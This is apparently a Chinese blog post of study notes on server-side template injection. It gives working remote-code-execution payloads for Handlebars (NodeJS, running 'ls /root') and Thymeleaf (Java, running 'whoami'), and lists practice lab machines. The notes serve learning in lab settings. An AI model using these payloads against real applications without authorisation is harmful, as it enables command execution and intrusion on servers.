SSTI漏洞介绍、识别及练习

  • 19
  • 阅读模式
摘要

本文主要对SSTI漏洞做一个简单的梳理,方便后续遇到此类靶机时可以迅速开展工作,更细节的内容可以参考文末的HackTricks链接……

概念

SSTI(Server-side template injection)模板注入漏洞,攻击者可以通过构造特殊的模版语句来执行命令。

识别

file

常见payload

NodeJS - Handlebars

{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return process.mainModule.require('child_process').execSync('ls
                /root');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Java - Thymeleaf

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}

练习指南

类型 机器名 难度 参考资料 评价
Handlebars (NodeJS) Bike Very Easy 官方资料 入门级别,适合初学者
Thymeleaf (Java) RedPanda Easy exploiting-ssti-in-thymeleaf 虽然做了过滤,但很快能有所突破。

参考资料

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: